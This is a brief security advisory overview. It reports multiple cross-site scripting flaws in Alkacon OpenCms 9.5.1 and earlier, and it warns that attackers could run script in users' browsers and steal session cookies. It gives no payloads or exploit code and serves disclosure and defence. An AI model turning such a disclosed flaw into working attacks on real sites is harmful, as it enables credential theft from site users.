Overview
________________________________________________________________________
_______________________________________________

Alkacon OpenCms 9.5.1 or prior versions are prone to a multiple cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
